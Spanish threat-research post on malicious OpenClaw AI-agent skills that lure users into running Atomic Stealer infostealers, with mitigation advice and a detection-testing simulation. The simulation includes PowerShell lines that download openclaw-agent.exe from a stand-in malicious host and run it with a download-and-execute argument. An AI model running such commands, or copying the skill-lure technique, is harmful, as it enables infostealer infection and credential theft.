SOC Prime Bias: Crítico

04 Feb 2026 14:31 UTC

De Automatización a Infección: Cómo Se Están Armando las Habilidades del Agente OpenClaw AI

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Seguir
De Automatización a Infección: Cómo Se Están Armando las Habilidades del Agente OpenClaw AI
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

El artículo explica cómo se están utilizando habilidades maliciosas de OpenClaw como un mecanismo de entrega de malware para los usuarios de la plataforma de agentes de IA autoalojada. Los actores de amenazas publican habilidades que parecen inofensivas, pero que finalmente llevan a las víctimas a descargar y ejecutar binarios controlados por los atacantes desde fuentes externas. Las cargas observadas incluyen ejecutables de Windows y archivos Mach-O de macOS que se han identificado como variantes de la familia de infostealers Atomic Stealer. Esta actividad introduce un riesgo práctico en la cadena de suministro para estaciones de trabajo personales y de desarrolladores que dependen de habilidades proporcionadas por la comunidad.

Investigación

VirusTotal Code Insight revisó más de tres mil habilidades de OpenClaw y obtuvo cientos que presentaban comportamiento malicioso o de alto riesgo. En un ejemplo, una habilidad subida por hightower6eu proporcionó instrucciones paso a paso para descargar un archivo ZIP protegido con contraseña desde GitHub (contraseña: openclaw) y ejecutar openclaw-agent.exe en Windows. En macOS, la misma habilidad dirigía a los usuarios a recuperar un script codificado en Base64 desde glot.io, que luego descargaba un ejecutable Mach-O para su ejecución. Los binarios resultantes fueron detectados por múltiples motores de seguridad como infostealers troyanizados.

Mitigación

Tratar los repositorios de habilidades como código no confiable y ejecutar OpenClaw en un entorno aislado o fuertemente limitado. Evitar copiar comandos de descripciones de habilidades y no ejecutar binarios recuperados de enlaces externos no verificados. Para operadores de mercado y comunidad, implementar escaneo en el momento de la publicación enfocado en el comportamiento de descarga remota, lógica de scripts ofuscados e indicadores de robo de credenciales o exfiltración de datos. En entornos empresariales, educar a los usuarios sobre los riesgos de instalar habilidades desarrolladas por la comunidad y requerir revisión antes de su uso.

Respuesta

Buscar paquetes de habilidades de OpenClaw que hagan referencia a URLs de descarga externa, archivos protegidos por contraseña o escaladores de comandos codificados. Alertar sobre la ejecución de binarios desconocidos llamados openclaw-agent.exe y sobre lanzamientos sospechosos de Mach-O que siguen actividades de descarga de scripts. Bloquear la conectividad a dominios maliciosos conocidos y aislar los sistemas afectados para realizar un examen forense para confirmar si ocurrió la ejecución del infostealer y la exposición de credenciales.

Flujo de Ataque

Ejecución de Simulación

Requisito previo: El chequeo previo de Telemetría y Línea Base debe haber pasado.

Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente las TTPs identificadas y apuntar a generar la telemetría exacta esperada por la lógica de detección.

  • Narrativa de Ataque y Comandos:
    Un atacante ha obtenido acceso inicial a la estación de trabajo de una víctima y deja caer el binario malicioso openclaw-agent.exe en el directorio temporal del usuario. El binario se ejecuta con una línea de comandos que contiene explícitamente las palabras clave descargar and ejecutar para extraer cargas adicionales de un servidor C2 no confiable y ejecutarlas en memoria. El atacante usa un símbolo del sistema estándar de Windows para evitar detecciones específicas de PowerShell, coincidiendo así con las expectativas de la regla Sigma.

    1. Dejar caer la carga:
      $malPath = "$env:TEMPopenclaw-agent.exe"
      Invoke-WebRequest -Uri "http://malicious.example.com/openclaw-agent.exe" -OutFile $malPath
    2. Ejecutar con argumentos sospechosos:
      "%TEMP%openclaw-agent.exe" download http://malicious.example.com/payload.bin execute
    3. El agente contacta con el servidor C2, descarga payload.bin, lo escribe en el disco y lo lanza, mientras la línea de comandos del proceso original aún contiene las palabras desencadenantes.
  • Script de Prueba de Regresión:

    # -----------------------------------------------------------------------
    # OpenClaw Agent Execution Simulation – triggers Sigma detection
    # -----------------------------------------------------------------------
    # 1. Descargar el agente malicioso (simulado con un archivo inofensivo)
    $agentUrl   = "https://github.com/microsoft/PowerShell/releases/download/v7.4.0/powershell-7.4.0-win-x64.msi"  # archivo inofensivo de marcador de posición
    $agentPath  = "$env:TEMPopenclaw-agent.exe"
    Invoke-WebRequest -Uri $agentUrl -OutFile $agentPath
    
    # 2. Ejecutar el agente con las palabras clave esperadas en la línea de comandos
    $cmd = "`"$agentPath`" download http://malicious.example.com/payload.bin execute"
    Write-Host "Executing: $cmd"
    Start-Process -FilePath $agentPath -ArgumentList "download http://malicious.example.com/payload.bin execute" -NoNewWindow -Wait
    
    # 3. Opcional: Simular la descarga de la carga (stub inofensivo)
    $payloadUrl = "https://raw.githubusercontent.com/EbookFoundation/free-programming-books/master/books/free-programming-books.md"
    $payloadPath = "$env:TEMPpayload.bin"
    Invoke-WebRequest -Uri $payloadUrl -OutFile $payloadPath
    
    Write-Host "Simulation complete. Check SIEM for detection."
  • Comandos de Limpieza:

    # Remover todos los artefactos creados durante la simulación
    $paths = @(
        "$env:TEMPopenclaw-agent.exe",
        "$env:TEMPpayload.bin"
    )
    foreach ($p in $paths) {
        if (Test-Path $p) {
            Remove-Item -Path $p -Force
            Write-Host "Deleted $p"
        }
    }